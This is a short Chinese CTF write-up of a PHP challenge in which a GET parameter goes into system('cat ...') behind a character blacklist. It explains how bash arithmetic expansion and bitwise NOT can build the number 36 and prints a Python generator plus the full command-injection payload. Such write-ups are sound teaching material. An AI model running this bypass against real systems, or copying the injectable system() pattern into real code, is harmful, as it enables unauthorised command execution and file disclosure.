代码审计
// 还能炫的动吗?//flag in 36.phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c))//这里把数字,字母,通配符,点号都过滤了{system("cat ".$c.".php");//这里只要构造出36就可以了}}else{highlight_file(__FILE__);}
基本都过滤了,但是提示
flag in 36.php,并且system(cat .php)所以只要构造出36就可以了,参考了大佬的文章,linux中可以使用$(())参与运算,刚好这三个符号没有被过滤掉。
$(())代表做一次运算,因为里面为空,也表示值为0$((~$(())))对0作取反运算,值为-1$(($((~$(())))$((~$(())))))-1-1,也就是(-1)+(-1)为-2,所以值为-2$((~$(($((~$(())))$((~$(())))))))再对-2做一次取反得到1,所以值为1如果对取反不了解可以看一下原码,补码,反码,这里给个容易记得式子,如果对a按位取反,则得到结果为-(a+1),也就是对0取反得到-1

- 我们利用脚本进行构造
shell="$(("+"~$(("+"$((~$(())))"*37+"))))" print(shell)#payload $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
